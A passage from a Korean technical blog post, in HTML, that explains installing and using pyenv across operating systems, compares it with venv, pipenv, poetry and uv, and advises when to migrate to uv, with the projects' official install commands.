&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;2026년 현재, Python 버전 관리의 주도권은 &lt;a href=&quot;https://docs.astral.sh/uv/&quot;&gt;uv (Astral)&lt;/a&gt; 로 넘어가는 흐름&lt;/strong&gt; 입니다. uv 하나로 &lt;code class=&quot;language-text&quot;&gt;pyenv&lt;/code&gt; + &lt;code class=&quot;language-text&quot;&gt;pipenv&lt;/code&gt; + &lt;code class=&quot;language-text&quot;&gt;pip&lt;/code&gt; + &lt;code class=&quot;language-text&quot;&gt;virtualenv&lt;/code&gt; 역할을 거의 대체할 수 있을 만큼 빠르고 촘촘합니다. 그럼에도 &lt;code class=&quot;language-text&quot;&gt;pyenv&lt;/code&gt; 는 아직 &quot;시스템 전역 Python 인터프리터 스위칭&quot; 이라는 자기 영역에서 확실히 유효하고, 이미 구축해둔 환경을 굳이 갈아엎을 이유는 없습니다.&lt;/p&gt;
&lt;p&gt;이 글은 pyenv 를 &lt;strong&gt;처음 쓰는 분&lt;/strong&gt; 과 &lt;strong&gt;계속 쓸지 고민인 분&lt;/strong&gt; 양쪽을 위한 실전 가이드입니다. 설치·명령어·&lt;code class=&quot;language-text&quot;&gt;.python-version&lt;/code&gt; 같은 기본기부터, 2026 시점의 솔직한 도구 비교, 그리고 uv 로의 마이그레이션 여부까지 한 번에 정리합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 Python 버전 관리가 필요한가&lt;/h2&gt;
&lt;p&gt;Python 은 빠른 주기로 새 버전을 내놓습니다. 2025~2026 년에는 이미 3.13 이 안정화 단계이고, 3.14 가 릴리스 사이클을 타고 있죠. 현실 프로젝트는 대략 이런 모습입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;레거시 서비스&lt;/strong&gt;: Python 3.9 또는 3.10 고정. 업그레이드 계획은 있지만 언제가 될지 모름.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;운영 중 서비스&lt;/strong&gt;: Python 3.11 ~ 3.12. 성능 개선 혜택을 누림.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;신규 / 실험 프로젝트&lt;/strong&gt;: Python 3.13 이상. 새 문법과 표준 라이브러리 활용.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;데이터 분석 / ML&lt;/strong&gt;: 특정 라이브러리 호환성 때문에 마이너 버전까지 고정.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;macOS 에 기본 탑재된 Python, Homebrew 로 깐 Python, 회사 표준 Python — 이런 것들이 PATH 에 뒤엉키면 &lt;code class=&quot;language-text&quot;&gt;python&lt;/code&gt; 을 한 번 치는 것조차 도박이 됩니다. 이 혼란을 정리해주는 첫 번째 도구가 &lt;code class=&quot;language-text&quot;&gt;pyenv&lt;/code&gt; 이고, 요즘은 &lt;code class=&quot;language-text&quot;&gt;uv&lt;/code&gt; 가 같은 문제를 더 빠르게 풀고 있다는 것이 이 글의 큰 틀입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;pyenv 란 무엇인가&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;pyenv&lt;/code&gt; 는 &lt;strong&gt;여러 Python 버전을 한 시스템에 설치하고, 상황에 맞춰 전환해주는 툴&lt;/strong&gt; 입니다.&lt;/p&gt;
&lt;p&gt;핵심 컨셉은 단순합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;~/.pyenv/versions/&lt;/code&gt; 아래에 여러 Python 을 나란히 설치합니다.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;pyenv&lt;/code&gt; 가 제공하는 &lt;strong&gt;shim (얇은 래퍼 스크립트)&lt;/strong&gt; 이 PATH 에 자리를 잡습니다.&lt;/li&gt;
&lt;li&gt;현재 디렉터리의 &lt;code class=&quot;language-text&quot;&gt;.python-version&lt;/code&gt; 파일, 또는 전역 설정을 읽어 &quot;지금 이 순간의 python 은 무엇&quot; 인지 결정합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;즉, &lt;code class=&quot;language-text&quot;&gt;python&lt;/code&gt; 이라는 명령 하나가 디렉터리마다 다른 실제 인터프리터로 이어지게 만들어 줍니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;설치&lt;/h2&gt;
&lt;h3&gt;macOS (Homebrew)&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;brew update
brew &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; pyenv&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Apple Silicon 에서도 문제없이 동작합니다. 다만 일부 구버전 Python (3.9 이전) 을 컴파일할 때는 &lt;code class=&quot;language-text&quot;&gt;xz&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;openssl&lt;/code&gt; 같은 빌드 의존성을 추가로 요구할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;brew &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; openssl readline sqlite3 xz zlib tcl-tk&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Linux (pyenv-installer)&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; https://pyenv.run &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;bash&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;우분투/데비안 계열에서는 빌드 도구가 먼저 필요합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;apt&lt;/span&gt; update
&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;apt&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-y&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;make&lt;/span&gt; build-essential libssl-dev zlib1g-dev &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  libbz2-dev libreadline-dev libsqlite3-dev &lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  libncursesw5-dev xz-utils tk-dev libxml2-dev libxmlsec1-dev &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  libffi-dev liblzma-dev&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Windows (pyenv-win)&lt;/h3&gt;
&lt;p&gt;Windows 에서는 원본 &lt;code class=&quot;language-text&quot;&gt;pyenv&lt;/code&gt; 가 동작하지 않고, 포팅 버전인 &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;pyenv-win&lt;/code&gt;&lt;/strong&gt; 을 사용합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;powershell&quot;&gt;&lt;pre class=&quot;language-powershell&quot;&gt;&lt;code class=&quot;language-powershell&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# PowerShell&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;Invoke-WebRequest&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;UseBasicParsing `
  &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;Uri &lt;span class=&quot;token string&quot;&gt;&quot;https://raw.githubusercontent.com/pyenv-win/pyenv-win/master/pyenv-win/install-pyenv-win.ps1&quot;&lt;/span&gt; `
  &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;OutFile &lt;span class=&quot;token string&quot;&gt;&quot;./install-pyenv-win.ps1&quot;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;install-pyenv&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;win&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ps1&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;다만 Windows + Python 조합은 최근 &lt;strong&gt;uv 가 압도적으로 편한 구간&lt;/strong&gt; 입니다. &lt;code class=&quot;language-text&quot;&gt;pyenv-win&lt;/code&gt; 은 유지보수 속도가 원본보다 느리고, 일부 버전 빌드에서 이슈가 있습니다. Windows 사용자라면 이 글을 읽은 뒤 &lt;strong&gt;uv 쪽으로 바로 넘어가는 것도 충분히 합리적&lt;/strong&gt; 인 선택입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;macOS 에서 pyenv 환경 변수 설정 (zshrc)&lt;/h2&gt;
&lt;p&gt;pyenv 는 설치만 한다고 끝이 아니라 &lt;strong&gt;셸 초기화&lt;/strong&gt; 가 반드시 필요합니다. zsh 기준으로 &lt;code class=&quot;language-text&quot;&gt;~/.zshrc&lt;/code&gt; 에 다음을 추가합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# ~/.zshrc&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;PYENV_ROOT&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token environment constant&quot;&gt;$HOME&lt;/span&gt;/.pyenv&quot;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;$PYENV_ROOT&lt;/span&gt;/bin&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;&lt;span class=&quot;token environment constant&quot;&gt;PATH&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;$PYENV_ROOT&lt;/span&gt;/bin:&lt;span class=&quot;token environment constant&quot;&gt;$PATH&lt;/span&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;eval&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;pyenv init - &lt;span class=&quot;token function&quot;&gt;zsh&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;주의할 점은 다음과 같습니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;eval &quot;$(pyenv init -)&quot;&lt;/code&gt; 은 반드시 PATH 설정 뒤에&lt;/strong&gt; 와야 합니다. 순서가 바뀌면 shim 이 먹지 않습니다.&lt;/li&gt;
&lt;li&gt;Homebrew 설치 버전을 &lt;code class=&quot;language-text&quot;&gt;pyenv init&lt;/code&gt; 보다 앞에 두면, &lt;code class=&quot;language-text&quot;&gt;python&lt;/code&gt; 이 Homebrew 쪽으로 새어나갑니다.&lt;/li&gt;
&lt;li&gt;변경 후에는 &lt;code class=&quot;language-text&quot;&gt;source ~/.zshrc&lt;/code&gt; 또는 터미널 재시작이 필수입니다.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;pyenv doctor&lt;/code&gt; 가 있다면 돌려보고, 없다면 &lt;code class=&quot;language-text&quot;&gt;pyenv versions&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;which python&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;python --version&lt;/code&gt; 3종 세트로 검증하세요.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;bash 사용자라면 &lt;code class=&quot;language-text&quot;&gt;~/.bashrc&lt;/code&gt; 또는 &lt;code class=&quot;language-text&quot;&gt;~/.bash_profile&lt;/code&gt; 에 같은 내용을 넣으면 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;기본 명령어 6 개만 외우면 됩니다&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 설치 가능한 전체 버전 목록&lt;/span&gt;
pyenv &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--list&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 특정 버전 설치&lt;/span&gt;
pyenv &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3.12&lt;/span&gt;.7

&lt;span class=&quot;token comment&quot;&gt;# 설치된 버전 확인 (현재 활성 버전에 * 표시)&lt;/span&gt;
pyenv versions

&lt;span class=&quot;token comment&quot;&gt;# 전역 기본 Python 지정&lt;/span&gt;
pyenv global &lt;span class=&quot;token number&quot;&gt;3.12&lt;/span&gt;.7

&lt;span class=&quot;token comment&quot;&gt;# 현재 디렉터리 전용 Python 지정 (.python-version 파일 생성)&lt;/span&gt;
pyenv &lt;span class=&quot;token builtin class-name&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3.11&lt;/span&gt;.9

&lt;span class=&quot;token comment&quot;&gt;# 현재 셸에서만 임시로 사용 (터미널 닫으면 해제)&lt;/span&gt;
pyenv shell &lt;span class=&quot;token number&quot;&gt;3.13&lt;/span&gt;.0&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;사실상 이 여섯 개면 일상 업무의 95% 는 처리됩니다. 나머지 &lt;code class=&quot;language-text&quot;&gt;pyenv uninstall&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;pyenv rehash&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;pyenv which&lt;/code&gt; 정도는 필요할 때 찾아봐도 늦지 않습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;&lt;code class=&quot;language-text&quot;&gt;.python-version&lt;/code&gt; 파일 — 팀 프로젝트의 숨은 주인공&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;pyenv local 3.11.9&lt;/code&gt; 를 실행하면, 그 디렉터리에 &lt;code class=&quot;language-text&quot;&gt;.python-version&lt;/code&gt; 이라는 평범한 텍스트 파일 하나가 생깁니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;cat&lt;/span&gt; .python-version
&lt;span class=&quot;token comment&quot;&gt;# 3.11.9&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 파일을 &lt;strong&gt;Git 에 커밋&lt;/strong&gt; 하는 순간, 같은 리포지토리를 clone 한 팀원은 해당 디렉터리에 들어가기만 해도 자동으로 같은 Python 버전이 적용됩니다 (pyenv 가 설치되어 있다면). 문서로 &quot;우리 프로젝트는 Python 3.11 쓰세요&quot; 라고 적어두는 것보다 훨씬 강제력이 있습니다.&lt;/p&gt;
&lt;p&gt;더 재미있는 점은, &lt;strong&gt;이 파일 포맷이 사실상 표준이 되어 uv, rye, hatch 같은 신흥 툴들도 &lt;code class=&quot;language-text&quot;&gt;.python-version&lt;/code&gt; 을 그대로 읽는다&lt;/strong&gt; 는 것입니다. pyenv 를 떠나더라도 이 습관은 그대로 가져갈 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;pyenv vs venv vs pipenv vs poetry vs uv — 한 표로 정리&lt;/h2&gt;
&lt;p&gt;실무에서 가장 많이 헷갈리는 질문이 &quot;이 도구들 역할이 겹치는 거 같은데 뭐가 뭐죠?&quot; 입니다. 2026 년 기준으로 솔직하게 정리하면 이렇습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;도구&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;Python 버전 관리&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;가상환경&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;패키지 관리&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;속도&lt;/th&gt;
&lt;th&gt;한 줄 평&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;pyenv&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;O&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;X&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;X&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;느림 (빌드)&lt;/td&gt;
&lt;td&gt;시스템 Python 스위처, 여전히 단단함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;venv&lt;/strong&gt; (표준)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;X&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;O&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;X&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;빠름&lt;/td&gt;
&lt;td&gt;의존성 없이 가상환경만 필요할 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;pipenv&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;X&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;O&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;O&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;느림&lt;/td&gt;
&lt;td&gt;한때 표준, 지금은 관성으로 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;poetry&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;X&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;O&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;O&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;중간&lt;/td&gt;
&lt;td&gt;라이브러리 배포 프로젝트에 여전히 유효&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;uv&lt;/strong&gt; (Astral)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;O&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;O&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;O&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;매우 빠름&lt;/td&gt;
&lt;td&gt;2026 년의 현실적 default&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;여기서 한 번 더 강조할 점은, &lt;strong&gt;uv 는 Python 자체 설치까지 담당&lt;/strong&gt; 한다는 것입니다. &lt;code class=&quot;language-text&quot;&gt;uv python install 3.12&lt;/code&gt; 한 줄이면 pyenv 가 해주던 역할을 대체합니다. 프로젝트별 Python 버전 고정은 그대로 &lt;code class=&quot;language-text&quot;&gt;.python-version&lt;/code&gt; 파일을 읽습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2026 년 솔직 평가 — pyenv, 계속 써야 할까?&lt;/h2&gt;
&lt;p&gt;블로그니까 &lt;strong&gt;있는 그대로 써보고 느낀 바&lt;/strong&gt; 를 적겠습니다.&lt;/p&gt;
&lt;h3&gt;이런 분은 pyenv 유지하세요&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;이미 pyenv 에 익숙하고 환경이 잘 돌아가고 있다. (굳이 갈아엎지 마세요, 시간 아깝습니다.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;시스템 Python 스위칭만&lt;/strong&gt; 원한다. 가상환경/패키지는 각 프로젝트 툴(poetry, uv 등) 에 맡기고 싶다.&lt;/li&gt;
&lt;li&gt;회사 표준 툴체인이 pyenv 기반이다.&lt;/li&gt;
&lt;li&gt;Linux 서버에서 가볍게 Python 여러 개만 깔아두고 싶다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;이런 분은 uv 로 넘어가세요&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;지금 새 프로젝트를 시작하는&lt;/strong&gt; 중이다.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;pip install&lt;/code&gt; 의 느린 속도, 깨지는 lockfile, pipenv 의 멈춤 현상에 지쳤다.&lt;/li&gt;
&lt;li&gt;Windows 환경이고 pyenv-win 의 한계를 경험했다.&lt;/li&gt;
&lt;li&gt;팀 전체의 빌드 시간을 줄이고 싶다 (uv 는 실제로 10~100배 빠릅니다).&lt;/li&gt;
&lt;li&gt;Python 설치·가상환경·패키지 관리까지 &lt;strong&gt;한 도구로&lt;/strong&gt; 끝내고 싶다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;핵심은 간단합니다. &lt;strong&gt;pyenv 가 &quot;틀렸다&quot; 가 아니라, uv 가 &quot;같은 일을 더 빠르고 넓게&quot; 해준다&lt;/strong&gt; 는 것입니다. 새로 시작한다면 uv 를 먼저 고려하는 것이 2026 년의 합리적 선택입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 쓰이는 팁 몇 가지&lt;/h2&gt;
&lt;h3&gt;1. 설치 속도 높이기 (macOS)&lt;/h3&gt;
&lt;p&gt;Python 빌드는 생각보다 느립니다. 옵션으로 최적화 빌드를 꺼서 속도를 올릴 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token assign-left variable&quot;&gt;PYTHON_CONFIGURE_OPTS&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt; pyenv &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3.12&lt;/span&gt;.7&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;반대로 성능이 중요한 서버라면 &lt;code class=&quot;language-text&quot;&gt;--enable-optimizations&lt;/code&gt; 를 켜서 오래 걸리더라도 최적화 빌드를 선택하세요.&lt;/p&gt;
&lt;h3&gt;2. Shim 이 꼬였을 때&lt;/h3&gt;
&lt;p&gt;새 버전을 설치했는데 &lt;code class=&quot;language-text&quot;&gt;python --version&lt;/code&gt; 에 반영이 안 되면, shim 을 새로고침합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;pyenv rehash&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;3. &lt;code class=&quot;language-text&quot;&gt;pyenv-virtualenv&lt;/code&gt; 는 굳이?&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;pyenv-virtualenv&lt;/code&gt; 는 pyenv 로 설치한 각 Python 에 독립 가상환경을 연결해주는 플러그인입니다. 유용하긴 하지만, 가상환경은 표준 &lt;code class=&quot;language-text&quot;&gt;venv&lt;/code&gt; 로도 충분하고, 프로젝트 단위 관리는 uv/poetry 에 맡기는 편이 구조가 깔끔합니다. 신규 도입은 권장하지 않습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q1. pyenv 에서 uv 로 어떻게 마이그레이션하나요?&lt;/h3&gt;
&lt;p&gt;세 줄이면 끝납니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 1. uv 설치&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-LsSf&lt;/span&gt; https://astral.sh/uv/install.sh &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sh&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 2. 프로젝트 디렉터리에서 같은 Python 버전 확보 (.python-version 그대로 인식)&lt;/span&gt;
uv python &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 3. 가상환경 + 의존성 싱크&lt;/span&gt;
uv &lt;span class=&quot;token function&quot;&gt;sync&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;기존 &lt;code class=&quot;language-text&quot;&gt;.python-version&lt;/code&gt; 파일, &lt;code class=&quot;language-text&quot;&gt;requirements.txt&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;pyproject.toml&lt;/code&gt; 은 대부분 그대로 사용할 수 있습니다. pyenv 를 바로 삭제할 필요도 없습니다. 한동안 둘을 함께 쓰다가, 손이 완전히 uv 로 넘어갔을 때 조용히 &lt;code class=&quot;language-text&quot;&gt;brew uninstall pyenv&lt;/code&gt; 해주면 됩니다.&lt;/p&gt;
&lt;h3&gt;Q2. Windows 에서 pyenv 써도 되나요?&lt;/h3&gt;
&lt;p&gt;가능하긴 하지만 &lt;strong&gt;강하게 권하지는 않습니다&lt;/strong&gt;. &lt;code class=&quot;language-text&quot;&gt;pyenv-win&lt;/code&gt; 은 원본과 별개 프로젝트로 유지되며, 버전 대응이 느리고 빌드 이슈도 가끔 있습니다. Windows 사용자라면 &lt;code class=&quot;language-text&quot;&gt;uv&lt;/code&gt; 또는 python.org 공식 인스톨러 + &lt;code class=&quot;language-text&quot;&gt;uv&lt;/code&gt; 조합이 훨씬 매끄럽습니다.&lt;/p&gt;
&lt;h3&gt;Q3. pyenv 로 설치한 Python 이 macOS 업데이트 후 안 잡혀요.&lt;/h3&gt;
&lt;p&gt;macOS 대형 업데이트 직후 자주 겪는 문제입니다. Xcode Command Line Tools 를 다시 설치하고, 기존에 빌드해둔 Python 을 재설치하세요.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;xcode-select &lt;span class=&quot;token parameter variable&quot;&gt;--install&lt;/span&gt;
pyenv uninstall &lt;span class=&quot;token number&quot;&gt;3.12&lt;/span&gt;.7
pyenv &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3.12&lt;/span&gt;.7&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;그래도 해결되지 않으면 &lt;code class=&quot;language-text&quot;&gt;~/.zshrc&lt;/code&gt; 의 pyenv 초기화 블록이 Homebrew PATH 뒤로 밀려있지 않은지 확인하세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;관련 포스팅&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/pipenv/&quot;&gt;파이썬 프로젝트 관리의 혁신: pipenv 사용가이드&lt;/a&gt; — 패키지 / 가상환경 관리 툴, pyenv 와 함께 쓰던 고전 조합.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/ruff/&quot;&gt;Ruff 를 이용한 python 코드 품질 관리&lt;/a&gt; — 같은 Astral 팀이 만든, uv 와 철학을 공유하는 초고속 린터.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/pyenv/pyenv&quot;&gt;pyenv — GitHub&lt;/a&gt;&lt;/li&gt;
